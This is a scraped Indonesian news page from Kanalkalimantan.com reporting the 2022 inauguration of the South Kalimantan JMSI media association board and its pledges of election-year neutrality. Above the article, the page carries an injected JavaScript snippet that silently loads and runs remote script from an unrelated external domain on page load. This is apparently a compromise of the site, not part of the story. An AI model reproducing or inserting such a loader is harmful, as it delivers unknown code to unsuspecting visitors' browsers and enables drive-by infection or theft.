(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pengurus Jaringan Media Siber Indonesia (JMSI) Kalimantan Selatan periode 2020-2025 dan JMSI Kabupaten/Kota se Kalsel persiode 2022-2027 resmi dilantik, Selasa (25/10/2022).
Pelantikan yang diselenggarakan di aula Gawi Sabarataan Balai Kota Banjarbaru diharapkan mampu menjadi perusahaan media profesional dan menjunjung kode etik jurnalistik menjelang Pemilu 2024 mendatang.
Gubernur Kalsel melalui Staf Ahli Bidang Pemerintahan, Hukum dan Politik, H Sulkan mengatakan kepada anggota JMSI Kalsel agar menekankan independen dan netralitas dalam menghadapi Pemilu 2024.
“Dalam menghadapi Pemilu di tahun sebelumnya pastilah ada berita-berita hoaks, untuk saling menjatuhkan, untuk itu saya meminta kepada seluruh perusahaan media siber yang tergabung dalam JMSI membangun ekosistem pers yang sehat dan profesional,” katanya.
Baca juga: JMSI Kalsel 2020-2025 Dilantik, Sekjend: Bangun Ekosistem Pers yang Sehat dan Profesional
Keberadaan JMSI Kalsel, sebagai organisasi yang mewadahi para pemilik perusahaan media online, diharapkan dapat menjadi mitra strategis pemerintah. Bersinergi dan berpartisipasi sesuai dengan visi dan misi organisasi. Terlebih Provinsi Kalsel, saat ini terus melakukan percepatan pembangunan di berbagai sektor, seperti: pertanian, perkebunan, pariwisata, Infrastruktur dan lain-lain.
Sementara itu, Ketua JMSI Kalsel, Milhan Rusli memastikan semua perusahan media siber yang tergabung di JMSI Kalsel akan menjunjung tinggi kode etik jurnalistik.
“Kita tetap menjaga netralitas itu yang utama, tidak akan memihak, berita berimbang itu kode etik kita,” katanya usai dirinya dilantik.
Diakuinya dalan Pilkada peranan media sangat besar, sehingga dirinya mengimbau agar tidak ada yang memancing gejolak Pilkada di masyarakat.
Baca juga: 591 Atlet Banjarbaru Dilepas ke Porprov XI Kalsel di HSS
“Kalau ada yang melanggar, mereka (perusahan media siber) mempunya peraturan tersendiri, kalau menyangkut hukum itu ada ketentuannya,” tuntasnya.(Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.